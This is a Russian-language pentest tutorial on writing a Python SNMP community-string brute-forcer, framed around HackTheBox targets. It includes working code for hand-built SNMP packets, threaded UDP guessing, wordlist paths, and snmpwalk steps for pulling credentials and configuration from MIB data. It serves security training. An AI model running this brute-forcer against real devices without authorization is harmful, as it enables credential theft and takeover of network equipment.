Перейти к содержимому

SNMP брутфорс на Python: пишем сканер community string вместо onesixtyone

SNMP брутфорс на Python: пишем сканер community string вместо onesixtyone
Время чтения: 13 мин.

На HTB-машине с открытым UDP 161 запускаешь onesixtyone с дефолтным словарём — отрабатывает за секунду, ноль результатов. Тот же перебор через Python-скрипт на 40 строк с расширенным списком из SecLists находит нестандартную community string за минуту. Дело не в скорости (onesixtyone быстрее на порядок), а в контроле: какой словарь подсунуть, какой таймаут выставить, что делать с найденной строкой автоматически. Соберём рабочий SNMP-брутфорс на Python — от ручной сборки BER-пакета до многопоточного перебора — и разберём каждую строку кода.

Зачем писать свой SNMP-сканер: Python для пентеста вместо готовых утилит

onesixtyone — быстрый инструмент на C, отправляет SNMP-запросы асинхронно и находит валидные community string за секунды. nmap --script snmp-brute делает то же через NSE-скрипт на Lua: открывает отправляющий сокет и параллельно pcap-сокет для перехвата ответов (согласно документации Nmap). Metasploit предлагает модуль auxiliary/scanner/snmp/snmp_login с поддержкой словарей и автоматическим определением READ/WRITE-доступа (по данным OfSec, модуль проверяет диапазоны IP и валидирует уровень привилегий для каждой найденной строки).

Зачем тогда свой скрипт?

Первое — понимание протокола. Когда руками формируешь SNMP-пакет из байтов, становится очевидно, почему community string уязвима: она лежит в теле запроса как OCTET STRING без какой-либо защиты. Это понимание пригодится в Wireshark, при написании правил детектирования и при работе с нестандартными реализациями агентов.

Второе — гибкость. Готовые инструменты не дают на лету добавить логику: автоматически запустить snmpwalk при находке, записать результат в JSON, протестировать одновременно v1 и v2c или отфильтровать ответы по содержимому OID. Свой скрипт — свои правила.

Третье — доступность. На CTF-площадках и в ограниченных средах (контейнер без пакетного менеджера, минимальный образ) Python почти всегда есть, а onesixtyone — далеко не факт.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды — её идентификаторы) перебор community string — это техника Password Guessing (T1110.001, тактика Credential Access). Обнаружение SNMP-сервисов — Network Service Discovery (T1046, тактика Discovery). После нахождения валидной строки и выгрузки конфигурации — SNMP MIB Dump (T1602.001, тактика Collection).

Бизнес-логика атаки: зачем злоумышленнику community string

Валидная community string даёт доступ к MIB-дереву (Management Information Base — иерархическая база параметров устройства). Оттуда вытягиваются:

  • Учётные данные. По данным Rapid7, в MIB-дампах обнаруживались email-адреса, хеши паролей и cleartext-пароли — например, в логах неудачных аутентификаций, когда пользователь случайно ввёл пароль в поле логина.
  • Сетевая топология. IP-адреса интерфейсов, маршруты, ARP-таблицы, списки запущенных процессов с аргументами командной строки.
  • Контроль устройства. Если найдена строка с WRITE-доступом (часто private), атакующий может менять настройки, сбрасывать пароли, извлекать конфигурации маршрутизаторов.

Последствия выходят за рамки разведки. CVE-2022-20924 в Cisco ASA/FTD (CVSS 7.7 HIGH; вектор: AV:N — атака по сети, AC:L — низкая сложность, PR:L — нужны минимальные привилегии, то есть валидная community string, UI:N — без участия пользователя, S:C — выход за пределы компонента, A:H — высокий импакт на доступность; CWE-20 — недостаточная валидация ввода, CWE-703 — некорректная обработка исключений) позволяет аутентифицированному атакующему вызвать отказ в обслуживании крафтированным SNMP-запросом. А CVE-2022-45315 в MikroTik RouterOS до stable-версии 7.6 (CVSS 6.4 MEDIUM; AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H; CWE-125 — out-of-bounds read) позволяла выполнить произвольный код через крафтированный SNMP-пакет. Формально — высокая сложность (AC:H) и нужны высокие привилегии (PR:H) из смежной L2-сети (AV:A, а не AV:N). Но по данным CISA Vulnrichment, для этой уязвимости есть публичный PoC и эксплуатация автоматизируема (exploitation=poc, automatable=yes). На бумаге — средний риск, на практике — вполне рабочий вектор.

Перебор community string: как работает аутентификация в SNMP v1/v2c

SNMP (Simple Network Management Protocol) — протокол управления сетевыми устройствами: маршрутизаторами, коммутаторами, серверами, IoT. Версии v1 и v2c используют community string для аутентификации. По сути это текстовая строка-пароль, которая включается в каждый запрос в открытом виде. Если агент (SNMP-демон на устройстве) принимает строку — отвечает. Не принимает — молча отбрасывает пакет.

Протокол работает поверх UDP (транспорт без установления соединения), порт 161 для запросов, 162 для trap-уведомлений. Для перебора это принципиально: UDP не устанавливает соединение. Мы отправляем дейтаграмму и ждём ответа. При неверной строке ответа не будет — только таймаут. Как отмечает HackTricks, таймаут неоднозначен: он может означать неверную строку, потерю пакета, фильтрацию файрволом или неподдерживаемую версию протокола. Поэтому критичный перебор лучше запускать дважды.

По умолчанию SNMP не ограничивает количество попыток — ни rate limit, ни блокировки после N неудачных запросов. public и private — стандартные строки, которые часто остаются дефолтными: первая обычно даёт доступ на чтение (RO), вторая — на запись (RW). SNMPv3 использует другую модель безопасности (username + пароль + опционально шифрование), но v1/v2c до сих пор встречаются повсеместно.

Пишем SNMP-сканер на Python: три компонента скрипта

Скрипт состоит из трёх частей: формирование SNMP-пакета, отправка через UDP-сокет и параллельный перебор. Разберём каждую.

Предпосылки: Python 3.6+ (нужны f-strings и concurrent.futures). Дополнительных библиотек не требуется — работаем с модулем socket из стандартной библиотеки. Root-права для запуска не нужны: мы отправляем пакеты на порт 161 целевого хоста, а не слушаем привилегированные порты.

BER-кодировка SNMP-пакета вручную

SNMP-запрос — это ASN.1-структура в BER-кодировке (Binary Encoding Rules). Каждый элемент кодируется тройкой: тег-длина-значение (TLV). Для GET-запроса структура выглядит так: SEQUENCE { версия, community, GetRequest-PDU { request_id, error_status, error_index, VarBindList } }.

Запрашиваем OID 1.3.6.1.2.1.1.1.0 — sysDescr (текстовое описание системы). Если community string верна, агент ответит строкой вроде «Linux server 5.4.0-42-generic».

def build_snmp_get(community: str) -> bytes:
    c = community.encode()
    if len(c) > 127:
        raise ValueError(f'Community string too long for single-byte BER length: {len(c)}')
    # OID 1.3.6.1.2.1.1.1.0 (sysDescr) в BER: тег 0x06, длина 8
    oid = b'\x06\x08\x2b\x06\x01\x02\x01\x01\x01\x00'
    varbind = b'\x30' + bytes([len(oid) + 2]) + oid + b'\x05\x00'
    vbl = b'\x30' + bytes([len(varbind)]) + varbind
    req_id = b'\x02\x04\x00\x00\x00\x01'
    pdu_body = req_id + b'\x02\x01\x00\x02\x01\x00' + vbl
    pdu = b'\xa0' + bytes([len(pdu_body)]) + pdu_body
    msg = b'\x02\x01\x01' + b'\x04' + bytes([len(c)]) + c + pdu
    return b'\x30' + bytes([len(msg)]) + msg

Построчный разбор:

  • c = community.encode() — переводим строку в байты. "public" станет b'public' (6 байт).
  • oid — OID sysDescr в BER. Первые два компонента (1.3) кодируются формулой 1*40 + 3 = 43 = 0x2b, остальные — по байту на компонент.
  • varbind — SEQUENCE (тег 0x30) из OID + NULL (0x05 0x00). NULL — заглушка значения в GET-запросе; агент подставит сюда реальные данные в ответе.
  • vbl — VarBindList, SEQUENCE-обёртка для списка привязок.
  • req_id — INTEGER со значением 1. Агент вернёт этот ID в ответе, чтобы мы могли сопоставить запрос и ответ.
  • pdu_body — тело PDU: request_id + error_status(0) + error_index(0) + VarBindList. Нули означают «ошибок нет» — это запрос, не ответ.
  • pdu — GetRequest-PDU с тегом 0xa0 (контекстно-зависимый конструктивный тег [0], означающий «это GET-запрос»).
  • msg — версия протокола (0x02 0x01 0x01 = INTEGER 1, то есть SNMPv2c; для SNMPv1 было бы 0x00) + community string как OCTET STRING + PDU.
  • Финальная обёртка: SEQUENCE (0x30) с длиной всего сообщения.

Ограничение: bytes([len(...)]) работает для длин до 127 (однобайтовая BER-длина). Community string длиннее 100 символов на практике не встречается, так что хватает. Если же длина community string или всего пакета превысит 127 байт, потребуется многобайтовая BER-длина (0x81 XX). Без неё bytes([len(...)]) сформирует невалидный BER-пакет молча — Python создаст байт, но BER интерпретирует его как начало многобайтовой длины.

UDP-сокеты Python: отправка и обработка таймаута

Почему «голый» сокет, а не библиотека pysnmp? socket.SOCK_DGRAM — прямой UDP без абстракций. Мы контролируем каждый байт. pysnmp оборачивает всё в высокоуровневый API и скрывает механику — а нам нужна именно она.

def try_community(target, community, timeout=2.0):
    pkt = build_snmp_get(community)
    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
        sock.settimeout(timeout)
        sock.sendto(pkt, (target, 161))
        try:
            sock.recvfrom(4096)
            return True
        except socket.timeout:
            return False

Что здесь происходит:

  • socket.AF_INET — IPv4. socket.SOCK_DGRAM — UDP (для TCP было бы SOCK_STREAM).
  • settimeout(2.0) — если ответ не пришёл за 2 секунды, recvfrom() выбросит socket.timeout. Для HTB через VPN обычно хватает. На нестабильных каналах стоит поднять до 3–5.
  • sendto() — отправляет пакет на порт 161 цели.
  • recvfrom(4096) — ждём ответа. Любой полученный пакет означает, что community string принята: по данным HackTricks, SNMP-агенты молча отбрасывают запросы с неверной строкой. Сам факт ответа — надёжное подтверждение.
  • with ... as sock — автоматически закрывает сокет при выходе из блока.

Автоматизация перебора SNMP: многопоточность через ThreadPoolExecutor

UDP-запрос — «отправил и жди». Пока один поток висит на двухсекундном таймауте неверной строки, другие спокойно отправляют свои пакеты. ThreadPoolExecutor из стандартной библиотеки позволяет запустить десятки проверок одновременно. Предпосылка: import socket и from concurrent.futures import ThreadPoolExecutor, as_completed в начале файла.

def brute_snmp(target, wordlist, threads=50):
    with open(wordlist) as f:
        words = [l.strip() for l in f if l.strip()]
    found = []
    with ThreadPoolExecutor(max_workers=threads) as pool:
        futs = {pool.submit(try_community, target, w): w for w in words}
        for f in as_completed(futs):
            if f.result():
                print(f'[+] {futs[f]}')
                found.append(futs[f])
    return found

Разбор ключевых моментов:

  • ThreadPoolExecutor(max_workers=50) — пул из 50 потоков. Каждый проверяет одну community string — 50 одновременных UDP-пакетов в сети.
  • pool.submit(try_community, target, w) — ставит задачу в очередь. Словарь futs связывает объект future с исходным словом.
  • as_completed(futs) — итерирует по мере завершения, а не по порядку добавления. Первая валидная строка отобразится сразу, не дожидаясь таймаутов остальных.

При словаре в 1000 строк и 50 потоках с таймаутом 2 секунды перебор в худшем случае (все строки неверны) занимает около 40 секунд (1000 / 50 × 2). Нюанс: скрипт не прерывает оставшиеся проверки после первой находки — ThreadPoolExecutor продолжит все поставленные задачи. Чтобы остановить досрочно, добавьте pool.shutdown(wait=False, cancel_futures=True) после первого успеха (параметр cancel_futures появился в Python 3.9). onesixtyone на аналогичном списке из 1000 строк справится заметно быстрее благодаря асинхронным raw-сокетам на C.

Запуск: python3 snmp_brute.py. В конец файла добавьте стандартный if __name__ == '__main__' с вызовом brute_snmp(sys.argv[1], sys.argv[2]). Ожидаемый вывод при находке: [+] public или [+] s3cr3t_community.

Wordlist community strings: какие словари использовать для перебора

Словарь — самое важное после скрипта. Без правильного списка даже идеальный инструмент бесполезен.

SecLists (Daniel Miessler) — стандарт де-факто. Нужные файлы: Discovery/SNMP/common-snmp-community-strings.txt (базовый набор), Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt (расширенный, совместимый с onesixtyone) и Discovery/SNMP/snmp.txt (минимальный набор для быстрой проверки).

Nmap включает свой список nselib/data/snmpcommunities.lst, который использует скрипт snmp-brute. Путь в Kali: /usr/share/nmap/nselib/data/snmpcommunities.lst.

Metasploit хранит словарь в /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt.

На практике стоит объединить источники и убить дубликаты: cat list1.txt list2.txt list3.txt | sort -u > combined.txt. Для HTB-машин иногда нужны кастомные строки: имя машины, вариации с цифрами, типичные для конкретного вендора значения. Добавляйте их в конец объединённого файла.

Сравнение: наш скрипт vs onesixtyone vs nmap snmp-brute

Параметр onesixtyone nmap snmp-brute Metasploit snmp_login Наш скрипт
Язык C Lua (NSE) Ruby Python
Архитектура Async raw sockets Send + pcap sniff Последовательный с потоками ThreadPool + UDP
Относительная скорость Очень высокая Высокая Средняя Средняя
Кастомизация Только wordlist Аргументы скрипта Модульные опции MSF Полная (код ваш)
Постобработка Нет Nmap XML/grepable Сохранение в БД MSF Любая (JSON, pipe)
Доступность Установка через apt/сборка Часть nmap Часть Metasploit python3 + socket (stdlib)
SNMPv3 Нет Нет Частично Можно дописать

Когда какой инструмент брать:

  • onesixtyone — быстрый sweep по подсети (/24 и больше). Задача: найти хоть что-то за минимальное время.
  • nmap snmp-brute — уже запустили nmap-сканирование и хотите добавить SNMP-перебор в тот же проход.
  • Metasploit snmp_login — работаете в консоли MSF, хотите сохранить creds в базу и сразу проверить RW-доступ.
  • Свой скрипт — нужна кастомная логика (автоматический snmpwalk при находке, фильтрация по версии протокола, запись в нужный формат) или готовых инструментов нет в окружении.

HTB walkthrough SNMP: от брутфорса до enumeration

Пошаговый сценарий для машины с открытым SNMP. Предпосылка: вы подключены к VPN площадки (HTB или TryHackMe), IP цели — 10.10.10.20, на вашей машине стоит Python 3.6+ и пакет snmp (для snmpwalk; в Kali он есть по умолчанию).

Шаг 1. Подтвердить, что SNMP открыт. Запустите nmap -sU -p 161 10.10.10.20. Флаг -sU — UDP-сканирование, -p 161 — только порт SNMP. Ожидаемый вывод: 161/udp open snmp. Если видите open|filtered — порт может быть за файрволом, но перебор попробовать стоит.

Шаг 2. Запустить перебор. Сохраните три функции (build_snmp_get, try_community, brute_snmp) и импорты в файл snmp_brute.py, добавьте блок __main__ с вызовом brute_snmp('10.10.10.20', 'wordlist.txt'). Запуск: python3 snmp_brute.py. Ожидаемый результат: строки [+] public или [+] <нестандартная_строка>. Если ничего не найдено — увеличьте таймаут до 5 секунд (аргумент timeout в try_community) или подключите более обширный словарь.

Шаг 3. Энумерация. Когда community string найдена, запускайте snmpwalk -v2c -c <строка> 10.10.10.20 .1 для полной выгрузки MIB-дерева. Флаг -v2c — версия протокола, -c — community string, .1 — начать обход с корня иерархии. Ожидаемый вывод: десятки или сотни строк с OID и их значениями.

Полезные OID для HTB-машин: 1.3.6.1.2.1.25.4.2.1.2 — список запущенных процессов, 1.3.6.1.2.1.25.1.6.0 — системные процессы (часто содержат пароли в аргументах), 1.3.6.1.2.1.1.5.0 — hostname, 1.3.6.1.4.1.77.1.2.25 — пользователи Windows (LAN Manager MIB; актуально для legacy Windows Server с установленным SNMP Service, который отсутствует по умолчанию в современных версиях). Утилита snmp-check 10.10.10.20 -c <строка> из Kali выводит те же данные в структурированном виде.

Шаг 4. Проверить уровень доступа. Если нашлись несколько строк — одна может быть RO (read-only), другая RW (read-write). Metasploit-модуль snmp_login автоматически определяет уровень доступа. В нашем скрипте можно добавить проверку: отправить SET-запрос с найденной строкой и посмотреть, вернёт ли агент ошибку notWritable (RO) или примет значение (RW).

По данным Rapid7, в выгрузках SNMP полезно грепать по ключевым словам: grep -i "trap" *.snmp для поиска дополнительных community string в trap-данных, grep -i "fail" *.snmp для обнаружения логов неудачных аутентификаций с потенциальными паролями.


Большинство материалов по SNMP-пентесту в рунете заканчиваются на «запустите patator» или «используйте snmpwalk с community public». На реальных проектах и CTF-машинах community string нестандартная, а готовый инструмент может не стоять в окружении. Скрипт на 40 строк решает обе проблемы: вы понимаете каждый байт и можете адаптировать логику под задачу.

Есть устойчивая иллюзия, что Python для пентеста — только обвязка над чужими библиотеками. Написание инструментов на уровне протокола — навык, который отделяет оператора от инженера. Оператор запускает onesixtyone -c list.txt target и ждёт. Инженер может объяснить, почему инструмент не нашёл строку (таймаут слишком низкий, версия протокола не совпала, пакет потерялся по UDP) — и пофиксить. В сетевом пентесте таких ситуаций с UDP-протоколами — SNMP, TFTP, DNS — половина рабочего дня. Если хотите выстроить эту базу системно, а не собирать по случайным статьям — на IB Basics на codeby.school фундамент закрывается за пару месяцев, без академического тона.

Эту тему и смежные навыки разбирают на практике в курсе «Python для пентестера» Codeby Academy.